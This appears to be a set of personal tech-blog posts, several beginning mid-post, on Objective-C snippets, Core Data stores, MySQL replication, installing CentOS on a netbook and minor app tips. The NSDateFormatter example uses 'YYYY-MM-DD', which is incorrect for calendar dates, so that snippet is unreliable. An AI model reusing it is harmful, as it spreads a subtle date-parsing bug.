- (void)methodName:(NSString *)parameterOne methodNameContinues:(NSString *)parameterTwo;

Add more parameters as you please. In theory, the method name is split across these multiple descriptive parts before each parameter is defined. However in reality I find it easier to just repeat the parameter names in each section, like this:

- (void)methodName:(NSString *)theString nextString:(NSString *)theNextString;

or

- (void)callingNames:(NSString *)firstName lastName:(NSString *)lastName;

But on a real device we’re not so lucky. Has a file really been copied the way we intended it to? NSFileManager to the rescue! Here’s how to read out the contents of a directory at an NSURL:

NSArray *contents = [[NSArray alloc]init];
contents =[[NSFileManager defaultManager]contentsOfDirectoryAtURL:yourURL includingPropertiesForKeys:nil options:nil error:nil];
    
NSLog(@"%@", contents);

contentsOfDirectoryAtURL returns an NSArray (of NSURLs) which you can loop through and display any way you like. If you have a file path instead, you can use contentsOfDirectoryAtPath instead.

self.imageView.image = [UIImage imageNamed:@"Amy.png"];

But if you have an NSURL to your image then it’s not as easy. It took me some digging to find out that you have to convert the URL into NSData first, and then display the data:

NSData *imageData = [NSData dataWithContentsOfURL:destinationURL];
self.imageView.image = [UIImage imageWithData:imageData];

Convoluted – but currently the only way I know how to do it.

In this example we’re copying a file called “Amy.png” which exists in the app’s main bundle.

// file URL in our bundle
NSURL *fileFromBundle = [[NSBundle mainBundle]URLForResource:@"Amy" withExtension:@"png"];
    
// Destination URL
NSURL *destinationURL = [[self applicationDocumentsDirectory]URLByAppendingPathComponent:@"Amy.png"];
    
// copy it over
[[NSFileManager defaultManager]copyItemAtURL:fileFromBundle toURL:destinationURL error:nil];

We can do this by telling the Xcode Model Editor to add more than one Configuration, each of which can be allocated certain Entities. Each Configuration can be configured to use a separate store file.

Consider this example code which is provided by the Xcode 4.6 templates to initiate the Persistent Store Coordinator:

    // Single Store - original code provided with template
    NSURL *url = [applicationFilesDirectory URLByAppendingPathComponent:@"Two_Stores.storedata"];
    NSPersistentStoreCoordinator *coordinator = [[NSPersistentStoreCoordinator alloc] initWithManagedObjectModel:mom];
    if (![coordinator addPersistentStoreWithType:NSXMLStoreType configuration:nil URL:url options:nil error:&error]) {
        [[NSApplication sharedApplication] presentError:error];
        return nil;
    }

Notice the absence of a Configuration in the addPersistentStoreWithType method. You can create Configurations by click-holding the big PLUS button that let’s you add Entities by default. GIve them a meaningful name, then drag-and-drop in your Entities:

Next you’ll replace the code above with something like this, adding more than one store file to your Persistent Store Coordinator:

    // create URLs for each store
    NSURL *url1 = [applicationFilesDirectory URLByAppendingPathComponent:@"Store-One.xml"];
    NSURL *url2 = [applicationFilesDirectory URLByAppendingPathComponent:@"Store-Two.xml"];
    
    // create the coordinator
    NSPersistentStoreCoordinator *coordinator = [[NSPersistentStoreCoordinator alloc] initWithManagedObjectModel:mom];
    
    // add store files to coordinator
    if (![coordinator addPersistentStoreWithType:NSXMLStoreType configuration:@"Configuration1" URL:url1 options:nil error:&error]) {
        [[NSApplication sharedApplication] presentError:error];
        return nil;
    }
    
    if (![coordinator addPersistentStoreWithType:NSXMLStoreType configuration:@"Configuration2" URL:url2 options:nil error:&error]) {
        [[NSApplication sharedApplication] presentError:error];
        return nil;
    }

Now you’ll work with two store files in the same Managed Object Context. This also means that whatever operation you call on the context (save for example) will be executed on both store files.

Demo Project

I’ve added a Demo Project to GitHub which demonstrates this in Mac OS X:

• https://github.com/versluis/Two-Stores

I’ve been recently using Tumblr more to post sketches from all kinds of devices, and naturally I wanted to embed them in some of my websites’ sidebars.

I found the extremely helpful Tumblr Widget plugin by Gabriel Roth for this: install, drag in the widget add Tumblr URL. Done!

I wanted my images to be in a size that the widget didn’t offer, so I did some tweaking – perhaps it’ll help if you’re in a similar situation.

Tweak the Image Size

My sidebar is 250px wide, but the plugin only offers either 100px or 250px. The latter would be too wide for my sidebar, the former would be too small. So I chose to go with 250px for a decent image size and then override the CSS with the following code (this goes at the bottom of your style.css file):

.tumblr_post img {width: 225px; height: auto;}

This will retain the aspect ratio of the image and make it slightly narrower. Play with the value and see what works best for you.

Removing Text

I’m posting pictures to Tumblr and didn’t want to see any descriptions that I may put from time to time. To remove all other text from the widget add this bit of CSS:

.tumblr_post p {display: none;}

This will suppress all text output that’s wrapped in p tags (may not be what you want but works well for me).

And there you have it! See my changes live in the sidebar at www.versluis.com, or see what I’m up to on Tumblr these days.

Sometimes things don’t work out with replication. When I first started experimenting with it I thought this was a “setup and forget about it” kind of job.

Experience has shown though that you have to regularly triple check and see if things may have broken (despite a good and once working setup).

Let’s take a look at what you can do when your Slave isn’t replicating anymore. If you want to know more about how to setup replication, have a look at my previous article in which I explain how this works.

Master Troubleshooting

Replication problems on your Slave do not usually indicate a fault on the Master; as long as it’s creating a log, all is well. You can check this by issuing a couple of “show master status” commands in 30 second intervals and see the log position change.

Provided data is being created or changed, the log positions should be different. If no log status shows up, then you’re being told that “binary loggin is disabled” – in which case you need to update your my.cnf file (see my other article about this).

Slave Troubleshooting

More often replication fails because of something which isn’t working well on the Slave. Common scenarios include:

• login problems: wrong user/password/host combination
• data import/synchronization problems
• problematic statements
• corrupt tables or databases

Let’s go through these one by one. I intend to update this article if I find other problems (and solutions). Feel free to share your experiences in a comment at the bottom.

How to check what’s bothering your Slave

Your best place to see where something’s gone wrong is the MySQL log. On CentOS and many other Linux distributions that’s in /var/log/mysqld.log and you can check the last 10 lines with

tail /var/log/mysqld.log

Not the easiest thing to read, but you get the basic idea of what the problem is.

Slave can’t login to the Master

Any issues pertaining to log data not being read, or connections not being possible are most certainly due to login problems.

See if you yourself can login to your Master as the replication user if you’ve set one up. Log in like this:

mysql -h domain+or+ip -u replicationuser -p

If this isn’t possible then you need to look at your credentials on the Master. Perhaps the replication password is wrong, perhaps the user doesn’t have the “replication slave” privilege, or is not allowed to connect from your host.

You can always change your slave to use your root user momentarily to see if connections in general are possible. Note that this is not meant as a long term solution.

Master and Slave are out of sync

If you CAN login and your Slave still throws up errors then it’s usually because the Slave is trying to execute a command from the Master log and fails. For example, he may try to delete a database that doesn’t exist. Such things can happen if you’ve (accidentally) changed data on the Slave. That’s a big no-no.

It’s “read only”, all else is just a replica of the Master. Even though you can introduce new data onto the Slave, changing data that has been replicated from the Master will cause problems.

Sync problems can also occur when you didn’t restart MySQL on the Slave just after the big data import.

Lucky for us this is not a biggie though: simply stop the Slave, restart MySQL and give the your Slave the Master Log Coordinates manually (that’s why it’s handy to make a note of those).

You do it like this, obviously replacing the values with your own:

stop slave;

change master to 
MASTER_LOG_FILE = 'mysql-bin.000037', 
MASTER_LOG_POS = 14462;

start slave;

Corrupt Data on the Slave

Sometimes tables or databases can get corrupt when they’re not properly closed. These things can happen on the Master – and as a result find their way onto the Slave, or something bad can happen on the Slave.

In either case, the Slave may not be able to process a statement and as a result will also stop and complain in his log.

To overcome this, you have two options:

• skip the bad statement and carry on
• repairing the corrupt tables and carry on

Let’s discuss how to tackle both.

Skip a Statement or two (not recommended)

This is the quick and dirty way of making the Slave ignore one (or several) Master log statements. This is not a problem if we’re dealing with disposable or temporary data – but it is a problem if you’re not (and frankly, who can really tell).

Be aware that skipping statements on the Slave will cause data inconsistencies – if these are noticeable or not depends entirely on your data and applications.

Here’s how you tell the Slave to skip the next 1 statement:

stop slave;
set global sql_slave_skip_counter = 1;
start slave;

You can skip as many events as you like by increasing the value. Once the Slave is running again, go back to the log and see if processing goes well. Use this approach with extreme caution!

There’s an interesting little script here by Vito Botta on how to do this automatically.

Repairing your Tables and Databases

Ignoring a problem and hoping it doesn’t bite you later is never a good idea – repairing what’s broken on the other hand sounds like a good plan.

You can repair single tables or databases with the “repair table” and “repair database” commands respectively – but what happens when you have hundreds of databases containing several thousand tables? You’d sit there all night issuing commands.

Lucky for us there’s a handy tool that does it for us:

• mysqlcheck – check it out in the MySQL Manual.

From the OS command prompt, issue this:

mysqlcheck -p -A --auto-repair

This can take some time, but it will check and repair every table in every database you have. You can even perform this on a live server without taking it offline, how cool is that.

Once done, start your Slave again, give it some time to catch up and will hopefully resume its replication duties.

Last Resort

If none of the above works for you, then you can really only do one thing: lock your master again, take a new snapshot and re-import it to the Slave.

Further Reading

• MySQL Manual on Replication Troubleshooting

Have any more tips, tricks or experiences with Slaves not slaving as they should? Share them below!

This is a step-by-step guide on how to replicate an existing MySQL server. The server is live and contains data and needs a constant backup companion.

Many tutorials focus on how to setup replication when no data is present on the system. That’s an ideal solution if you’re building a new setup, but in case you’ve got a server that already has data present then here’s how to accomplish the this:

1. setup your existing MySQL server (with data) as a Master
2. export all your databases and user accounts
3. create a slave and import all your data
4. start replication

I’ve done this several times and always forgot to take some notes – until today. Without further ado, let’s replicate MySQL.

Prerequisites

We need the following ingredients for our project:

• a currently running MySQL Server we want to use as a master – it’s live so we want to avoid downtime as much as we can
• a new MySQL server which contains no data – soon to be the slave
• root access to both servers, both for the OS and MySQL

Note that any MySQL data on the slave we’re creating will be wiped out. There are ways to keep several databases unsynchronized, but this is not covered here.

I’m working on CentOS 6.4 here with MySQL 5.1. Whenever I issue commands to the OS the cursor prefix is “root# “, and when I’m issuing MySQL commands my cursor prefix is “mysql# ” – hope this makes sense.

Note that if you have access to phpMyAdmin on both servers, you’ll be pleased to hear that there’s a much easier and faster way to setup replication. This article however will focus on doing all this via the command line.

Setting up the Master

Our current server needs to write a log of everything he’s doing from now on. This log is read later by the slave and contains a collection of statements of what has been executed by the master. Therefore the slave just remembers the position of where he last read the log, and from then onwards just does what the master does. Hence the slave ends up being in sync.

Login to your Master Server as root and edit the MySQL configuration file called /etc/my.cnf.

We need to add the following statements to give our master an ID and setup logging:

[mysqld]
log-bin = mysql-bin
server-id = 1

Save your file and restart MySQL using

service mysqld restart

To check that your server is logging things, head over to

/var/lib/mysql

and see if a file by the name of mysql-bin.000001 has been created. MySQL will write these files in sizes of up to 1GB, then start the next one. Hence it’s worth cleaning out those logs from time to time.

You can also check which file is currently being used by checking mysql-bin.index which contains a list of all log files that have been used over time.

Note that you may find the following statements in your configuration file:

skip-networking
bind-address = 127.0.0.1

These need to be deleted or commented out for replication to work properly. Add a # (hash) in front of each line to do this. If they’re already commented out or not even present – even better.

Getting the Master Coordinates

Before we continue, we need to know where the master’s last statement was written in the log. We also need to make sure nobody is writing anything to the master while we look at this.

To do this, login to MySQL from a different session and issue the following command:

mysql# flush tables with read lock;

Just so that we’re on the same page here: you now have TWO SSH sessions open, one still connected to your physical server’s OS, and another which shows your MySQL prompt.

Thanks to the above command, database writes cannot be committed to disk for now. Notice that MySQL still works fine and all writes are committed to memory – so there’s no downtime. We like!

Let’s see where the master’s last log entry was:

mysql# show master status;

You’ll see something like this:

+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000037 |    14462 |              |                  | 
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

My server has been logging for some time, hence the .000037 at the end of the log fie. Make a note of these coordinates. If all goes well you won’t need them – but if you run into trouble, these will come in handy.

Backing up the Master

With the lock still in place, let’s go back to the first SSH session and dump all databases. Issue the following to create a dump of everything MySQL currently knows:

root# mysqldump --all-databases --user=root --password --master-data > everything.sql

Depending on how much data you have and how fast your server is, this can take some time… in which you’ll get no feedback whatsoever. Sit tight and grab a coffee.

This command will create a file called everything.sql which can be several gigabytes in size. Since we need to copy it later, let’s ZIP it up to make it smaller:

root# zip -r everything.zip everything.sql

That should bring it down by about 80% of its previous size. Feel free to use another compression utility, or leave this step out if you feel the file is small enough for your taste.

If you’re an avid Linux command line user you can probably pipe the output of the mysqldump into zip or gunzip, but sadly this knowledge eludes me. Besides, I’m a big believer in smaller, more readable steps.

Now that we have everything from the Master, go back to the MySQL session and unlock the tables so writes can be committed to disk again:

mysql# unlock tables;

Now the Master will start writing to disk again. You can verify this by issuing the “show master status” command again, and you should see that it’s at a different position now. Is this exciting or what?

Creating a Replication User

It is customary to use a dedicated MySQL user to read replication statements from the Master. All this user needs is the “replication slave” privilege. Let’s do this while we’re in this session:

I’ll name mine “replicator” and give it a good password. Since I may want to replicate my data to different slaves, I’ll also specify that any host can do this. To make this more secure you can specify a single host if you like.

Still on the MySQL prompt, the following command should take care of this:

mysql# GRANT REPLICATION SLAVE ON * . * TO 'replicator'@'%'
IDENTIFIED BY '***' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0
MAX_USER_CONNECTIONS 0 ;

This is a long command and for readability I’ve split it across 4 lines here. Replace ‘***’ with your actual password. If you don’t like creating users on the MySQL prompt you can also use phpMyAdmin or Sequel Pro for this (if you have access to either).

You can now quit both sessions; we’re done with the master.

Telling your Slave that he’s a Slave

Just like we configured the Master, we also need to configure the slave. Open a new SSH session and edit /etc/my.cnf, then give your slave a unique ID:

[mysqld]
server-id = 2

It doesn’t have to be just 1 or 2, you can go crazy and use a 10 digit number if you like. Just make sure the master and slave to not have the same ID. Just as before, restart MySQL on the Slave for the change to take effect:

root# service mysqld restart

Importing your data on the Slave

The (potentially zipped) snapshot we’ve created on the Master needs to be copied over to our slave. I like using rsync for this, but scp or even FTP will do just fine. Use whatever you’re comfortable with, as long as the file ends up on your Slave machine.

For example, to copy everything.sql to my slave in its current directory I can issue this on the slave:

root# rsync -av root@master:/everything.sql .

But as I said, use whatever you know best. We’ll assume that everything.sql has made it onto your slave, and that we’re in the directory where the file currently resides. We’ll also assume that you’ve un-zipped it so we end up with everything.sql.

We can now import the file, wiping out all existing databases on the slave. This shouldn’t be a problem if it’s a new machine that’s built for the purpose of being a slave, but if you have any data you may want to keep, this is the time to export it.

Issue the following command:

root# mysql -p < everything.sql

This will read in all your databases and user accounts, line by line, from the backup file. Since writes take longer than reads this can take some time again – time in which you will get no feedback whatsoever (again). I guess it’s time for another coffee/meal/movie/trip to New York.

A note on user accounts: each database has its own directory in /var/lib/mysql – including a database called “mysql”. This is MySQL’s own database in which it stores users and their privileges. Hence, when you import all your previous databases into the slave, you’ll automatically copy all user accounts from the master too.

At the same time, all information about your slave’s user accounts prior to the import will be eliminated. Therefore your previous MySQL root password for your Slave will no longer work – as it’s been replaced with that of the master.

When the command has finished (without any feedback if all went well) you can verify that it’s done a good job: login to MySQL with the Master’s root credentials:

root# mysql -u root -p

Then have a look at all your server’s handy work:

mysql# show databases;

You should see a list of all your Master’s databases. Neat, huh?

Starting the Replication Station

With the Master and Slave now more or less in sync, we need to make sure the Slave picks up where the Master’s last statement was. Before we go ahead, restart your MySQL Slave – trust me, this will avoid syncing issues:

root# service mysqld restart

Remember when we dumped all our databases, we used a switch called “–master-data”? This is something that will automatically set the log coordinates on the Slave to where the Master left off writing statements. There’s no need to give our Slave this data again. Keep in mind that for troubleshooting purposes you can set those manually if you wish.

So all we have to do now is tell the Slave who the Master is and start it. Still on the MySQL prompt, issue the following:

mysql# change master to
-> MASTER_HOST='masterip-or-domain',
-> MASTER_USER='replicator',
-> MASTER_PASSWORD='slavepassword';

mysql# start slave;

With a bit of luck, this will start your Slave, which will in turn add everything that’s happened on the Master since you took the snapshot. If all went well, this is the end of your setup. Go celebrate!

Quick notes about the above statement:

You can hit return at any time on the MySQL prompt, in which case a “->” is displayed so you can add more. Only when you enter a semicolon will your statement be executed. So don’t add the “->”, MySQL will do this when you hit enter.

CaSe sEnsiTiviTY doesn’t matter to MySQL: “MASTER_PASSWORD” is the same as “master_password”.

You can add the following if you wish – you see this in many tutorials:

-> MASTER_LOG_FILE = 'mysql-bin.000037',
-> MASTER_LOG_POS = 14462;

This is necessary if you take a mysqldump without the “–master-data” option, or if you want to point the Slave manually. If you set “–master-data”, then these two coordinates will be added automatically upon import.

Verify that Replication is working

I don’t like leaving things to chance and need “proof” that everything is working as intended. The simplest way to test your replication setup is by adding a new database on the master, then check if it exists on your slave.

You can do this via the command line, phpMyAdmin, Sequel Pro – or any other utility. Let’s create two MySQL sessions, one on the Master and one on the Slave. On both, issue the following:

mysql# show databases;

This shows you all databases – hopefully an identical list on both servers. Now create a new database on the Master:

mysql# create database zzz;

List your databases again and you should see “zzz” on either server. You can create as many as you like – it’s magic seeing them come to life almost instantly on your Slave. Everything works this way: tables, rows, users all change in a flash.

If your test databases only show up on the Master, then you have a problem (see below). Remember that if you’ve only just started the Slave, he may have some catching up to do – so give it a few minutes, as he may still be working through earlier statements from the Master.

When you’ve finished testing, delete those test databases databases with

mysql# drop database zzz;

Replication Troubleshooting

You’d think once setup replication you can forget about it – but sadly that’s not the case. MySQL Replication can be extremely unreliable which is why you need to check from time to time that your Slave is still up to date.

This is an extensive topic, which is why I’ve decided to break this segment into this separate article.

Beyond the Master/Slave Setup

You can do all kinds of crazy things with MySQL Replication: if you’ve setup one Slave, you can setup several others. They’d all replicate the same data – which is extremely useful for very busy services which usually do more read queries than write queries.

In addition, you have constant access to “test data” and never have to take your live server down. You can swap a Slave out for a Master, or rebuild a Standby-Master from a Slave.

Apart from Master/Slave – imagine more than one Master: in case one breaks down you can still write to another.

A Master could also be a Slave to another Master, which in turn could be the Slave to the first Master. Or you could have several Masters which are also Slaves to the previous one. Circular Replication is one such setup. In theory it’s great, but imagine what happens when something goes wrong – and all Masters are out of sync… it’s fun, trust me – I’ve been there.

In a nutshell: go forth, dream and experiment!

Further Reading

• MySQL 5.1 Reference Manual: Replication Section
• Rackspace KB Article on Replication

Today was a rather exciting day for me: I’ve successfully turned my aging Samsung NC10 Netbook into an internal server in our office.

I bought the little guy in 2009 and he’s been my trusty companion on many jobs before I got an iPad. He still works fine, even though Windows XP was getting weird of late – and admittedly I hadn’t even turned him on in over 8 months.

Now my trusty pal is running CentOS 6.4 while sitting quietly in a corner next to the modem, serving as an internal Linux server. This is great for testing and automated backups – and in the same spirit as playing with a Raspberry Pi (in a much neater battery powered package).

Refreshing the NC10 wasn’t a picnic though, and some of the steps are rather involved. Here are my notes, in case I either have to do it again or you want to follow along.

Prerequisites

We need the following ingredients, apart from coffee and sandwiches:

• 1x Samsung NC10 – working order (all data will be wiped, this is the time to make a backup of anything you want to keep)
• 1x USB Stick, 1GB or greater
• Ethernet Cable to your router and internet connection
• a couple of hours uninterrupted time
• patience

Getting the Software

For this adventure we need the correct version of CentOS. The Intel Atom processor in the NC10 does not support 64bit so we’ll use the 32bit version of CentOS – the latest version at the time of writing in May 2013 is CentOS 6.4.

You won’t be able to download the software from The CentOS project directly – instead check out the list of public mirrors and pick one in your area. I’m in Miami Beach so I chose one from the friendly guys over at Mojohost not far away from me.

You can download the files via HTTP or FTP, both will work in your favorite web browser. FTP will also work in FileZilla: just copy the relevant address into the Quick Connect host box and start downloading.

Once connected navigate to the following path:

/centos/6.4/isos

In here you’ll find two directories: x86_64 and i386 – these are the 64bit and 32bit versions respectively. Since we need the 32bit version we’ll choose the latter. These are the main files you may find useful, depending on how you’d like to install CentOS:

• CentOS-6.4-i386-bin-DVD1.iso and DVD2.iso – full DVD images, a total of about 7GB
• CentOS-6.4-i386-netinstall.iso – 200MB to download, but requires a working and configured internet connection during installation
• CentOS-6.4-i386-minimal.iso – slightly bigger with 315MB, but gets you a running system with a rather small file and no need for an internet connection

All I want from my NC10 is to be a remote server, so I don’t need a graphical user interface and hence I chose the latter. If you want the full GNOME version with all desktop bells and whistles, download either the DVD images or choose the netinstall option.

Turning ISO Images into Bootable USB Drives

Burning those ISO images onto DVDs or CDs isn’t a problem – but creating bootable non-optical media from them isn’t that easy (nor obvious): The trusty Disk Utility on Mac doesn’t work, the manual method described by CentOS is not for the faint hearted, and the “easy solution” mentioned in the same article requires a working local CentOS installation.

Neither option was for me, so I moved on. Inevitably I stumbled upon the Unetbootin utility which promises to download CentOS and burn an SD card or USB stick in one fair swoop. Available for Mac, Windows and Linux. Sounds great!

Sadly though the Mac version doesn’t seem to do anything on Mountain Lion, so this wasn’t for me either – especially considering that I had already downloaded the file I needed. There had to be an easier option – and thankfully there was:

ISO2USB is a small utility by Alex Agranov and does exactly what it says on the box: write an ISO image onto an SD card or USB stick. It’s only available for Windows though, but since my NC10 still had that in more or less working condition I used it – and it worked very well.

I highly recommend ISO2USB, check it out at Sourceforge. If you don’t have a working version of Windows to hand, you may think of a virtual instance running on Parallels Desktop. Sadly however my Windows 7 version did not see the attached USB devices so I couldn’t use it for this purpose – but I admit that I didn’t try very hard to set those up. Perhaps you have more luck me.

NC10: Booting into something other than Windows

First of all: you cannot boot your NC10 from an SD Card, not without a BIOS hack at least. Let’s not go down that route, we’re busy people. Instead burn the above ISO image onto a USB stick you probably find lying around and pop it into your NC10.

Hold down F2 while switching the NC10 on to get into the BIOS. There’s not much to do here, even though I thought I could switch the boot order to make it recognize the USB stick. But that’s not how you do it.

Instead, hold down F9 while switching on your netbook and hey presto – you’ll boot from any USB port. If no stick is attached all you’ll hear is a loud squealing noise for about 2 seconds, followed by the NC10 powering down.

Upon success, you’re greeted by the CentOS installer screen. I chose the first option and the installation went ahead just fine.

Installing CentOS

It’s very straightforward, but there were two points that I thought needed a special mention: setting up your network connection and partitioning your hard drives. Let’s start with the latter.

Linux is a bit different when it comes to “having space” versus “creating a partition”. To us mortals a “partition” is just a chunk of space which ultimately turns into a drive letter. How and why we don’t really care about. As long as we can say something like “use EVERYTHING on the drive and turn it into the C Drive, go ahead and do it”.

The NC10′s 160GB hard drives comes pre-partitioned into two equally sized chunks, drive C: and D: – but I didn’t like those and wanted all my space consolidated into one chunk, or as close to that as possible.

See, Linux needs a “boot” partition and a “data” partition. Each partition can then me divided into “logical volumes” which in turn can be “mounted” and appear as standard folders. This is great for extending the file system across multiple drives and devices, but it makes it a bit trickier to setup.

I chose the option to “Use all available space” in the partitioning section, and as a result my file system now looks like this:

[root@nc10 home]# fdisk -l

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          64      512000   83  Linux
Partition 1 does not end on cylinder boundary.
/dev/sda2              64       19458   155777024   8e  Linux LVM

Disk /dev/mapper/vg_nc10-lv_root: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Disk /dev/mapper/vg_nc10-lv_swap: 2113 MB, 2113929216 bytes
255 heads, 63 sectors/track, 257 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Disk /dev/mapper/vg_nc10-lv_home: 103.7 GB, 103712555008 bytes
255 heads, 63 sectors/track, 12608 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

This tells us that I have indeed two separate drives (/dev/sda1 and /dev/sda2), one being a very small boot drive, and the other being a larger data drive. But then we see three various volumes which have been created:

root, swap and home – all with varying sizes.

After the installation all this space is mounted into the following places, as shown by the df- h command:

[root@nc10 home]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/vg_nc10-lv_root    50G  862M   46G   2% /
tmpfs                                                  498M     0  498M   0% /dev/shm
/dev/sda1                                          485M   49M  412M  11% /boot
/dev/mapper/vg_nc10-lv_home  96G  188M   91G   1% /home

For us humans, we’ll end up with the following folders:

• / (root directory, 50G available)
• /home (91G available)
• and a swap drive, currently 498M but unavailable for us to write onto

Linux does this so that all the operational things can be kept from data storage (in /home) – therefore if you accidentally fill up your server you don’t compromise running the OS.

If you feel that some of the 50G is better spent in the /home directory you can change this later – but for now this is the default configuration that CentOS sees as “use everything”.

It works: CentOS 6.4 on Samsung NC10

Configuring the Network

On the screen that allows you to name your computer (the default is “localhost.localdomain”, but I’ve called mine “nc10″) there’s a small button which is easy to overlook the first time round: it’s called “Configure Network”.

Turns out it’s VITAL that you press it!

In it you’ll be able to configure ETH0 and WLAN0, two default network connections. If you don’t do this, then you’ll end up with no internet connection once the installation is complete. We’ll leave WLAN0 for now because we haven’t got the right driver yet.

Click ETH0 and tick the box that says “Connect Automatically”. Make sure that at this point an Ethernet cable from your router is connected to the NC10 and watch those little lights spring into action.

The rest of the installation runs smoothly until you’re asked to reboot the system.

Loggin in locally for the first time

All the NC10 is going to display after its reboot is a local console screen, just like we love it from countless SSH sessions. This is great! Login as root and say hello to your new CentOS installation!

To test that everything is working, type something nice like

cat /etc/*release

This should bring up your current CentOS version. Next let’s check out network connectivity:

yum update

This should take a moment and come back with a list of packages that need to be updated. Go ahead and do this if you have a moment. If this command comes back very quickly with an error message, then it’s likely that your network connection isn’t working properly. Let’s hope that’s not the case though

Loggin in remotely

Before you start to talk to your NC10 from another device via SSH we need to know it’s IP address on the network. By default this is configured dynamically, so every time you turn off your NC10 it may be a different one – unless you tell your network configuration otherwise.

Still logged on locally, type in the following command:

/sbin/ifconfig

This will come back with a list similar to this one:

eth0      Link encap:Ethernet  HWaddr 00:13:77:D4:DA:D0  
          inet addr:192.168.1.234  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2602:306:cd83:aad0:213:77ff:fed4:dad0/64 Scope:Global
          inet6 addr: fe80::213:77ff:fed4:dad0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:136409 errors:0 dropped:0 overruns:0 frame:0
          TX packets:36952 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:91070263 (86.8 MiB)  TX bytes:3285128 (3.1 MiB)
          Interrupt:18 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:12 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1008 (1008.0 b)  TX bytes:1008 (1008.0 b)

Notice the second line that reads inet addr, followed by your IP address.

Go grab any device on the same network and connect with your favorite SSH client (Terminal on Mac, PuTTY on Windows, or Prompt on your iPad/iPhone) using the following command:

ssh root@192.168.1.234

obviously using your own IP address and password when prompted. Now you can close the lid on the NC10, supply it with a power source and start treating it as  a proper remote server.

Lovely – it’s working. Now what do I do?

Here are some of the cool things you can do with your new NC10 Server:

• install MySQL and run your own database server (as discussed here)
• import some databases and use your NC10 Server as a local backup to a remote server
• install Apache and run local instances of WordPress
• setup a cron job or two and backup files regularly
• install Plesk and do some testing
• repartition the hard drives

The fun never stops when you have your own free server within arm’s reach.

Have fun!

Further Reading

• Samsung NC10 on Wikipedia
• List of CentOS Mirrors
• ISO2USB Homepage on Sourceforge

The Mac version of Autodesk’s SketchBook Pro 6 works well on small screen – but since real estate is limited, there is a way to switch the app to Full Screen Mode.

Rather than the double-arrow in the top right corner though, you’ll have to use the shortcut

OPTION+CTRL+J

Don’t ask me why, it’s not very well documented for such an intuitive app. And since I keep forgetting how to do this, here it is in writing.

Thanks to Eric from Autodesk for this tip (discussion)

NSDate *myDate = [NSDate date];

But if you want to create a date object with a date such as your birthday it gets a little bit trickier, and – more importantly – much less obvious.

To do this, we need to create an NSDateFormatter, tell the formatter how to expect the date, and then use its convenience method dateFromString to create the date:

NSDateFormatter *formatter = [[NSDateFormatter alloc]init];
formatter.dateFormat = @"YYYY-MM-DD";
NSDate *myDate = [formatter dateFromString:@"2012-12-12"];

Notice that I tell the date formatter to expect the date as YYYY-MM-DD. I could also have told it to expect it as YYMMDD and then pass @”12-12-12″ in the dateFromString method.

Whichever way you do it, the date format must match your string, otherwise the method returns null.

All we need to do this is our good friend the NSDateFormatter and the Unicode Date Format MMMM – let’s check it out:

// create today's date
NSDate *myDate = [NSDate date];
// create a date formatter and set its format
NSDateFormatter *formatter = [[NSDateFormatter alloc]init];
formatter.dateFormat = @"MMMM";
        
NSLog(@"The current month is %@", [formatter stringFromDate:myDate]);

The MMMM tells the date formatter to display the full month, no matter how many letters it has. You can also use:

• M for the month number (1 for January or 12 for December)
• MM for the two-digit month number (01 for January)
• MMM for the abbreviated month number (Jan for January)
• MMMM for the full month number (such as January)
• MMMMM for just the first letter (J for January… not sure who would need this though)

The Unicode Date Format can do amazing things with all aspects of times and dates – check out the complete compendium here:

http://unicode.org/reports/tr35/tr35-6.html#Date_Format_Patterns

Lucky for us we don’t have to use their interface to get links to iTunes Products – we can use the standard good looking and well working iTunes Link Maker. All we need is go there via LinkShare, which will embed our affiliate code.

Here’s how to do this step by step:

1.) Login to LinksShare and see the awful Home Screen
2.) Head over to Links – Get Links
3.) Click on “US iTunes, App Store, iBookstore, and Mac App Store” (you need to be subscribed and approved for this option to become available).

This should get you to a screen similar to this:

4.) Notice the grey button that says “Link Maker Tool”. Click that and you get to a new window and is the familiar iTunes Link Builder, as provided by Apple:

Note the message that reads: “Your affiliate Network is…” – this is the confirmation that you’re building links as an affiliate. If that message isn’t there, your links are not tracked. Instead if LinkShare, this can be a different partner (TradeDoubler is another one for example).

Now you can enter a product and grab the link, which will already contain your affiliate ID.

Turns out it’s equally simple: this example assumes you have a View Controller which is embedded in a Navigation Controller (so it already has a UINavigationBar at the top). Here’s how you add a button to it, set the title and target, and tell it what to do when it’s pressed:

- (void) viewDidLoad
{
    [super viewDidLoad];
	
    // first we create a button and set it's properties
    UIBarButtonItem *myButton = [[UIBarButtonItem alloc]init];
    myButton.action = @selector(doTheThing);
    myButton.title = @"Hello";
    myButton.target = self;
    
    // then we add the button to the navigation bar
    self.navigationItem.rightBarButtonItem = myButton;
    
    
}


// method called via selector
- (void) doTheThing {
    
    NSLog(@"Doing the thing");
    
}

You can set the button on the left hand site by using self.navigationItem.leftBarButtonItem

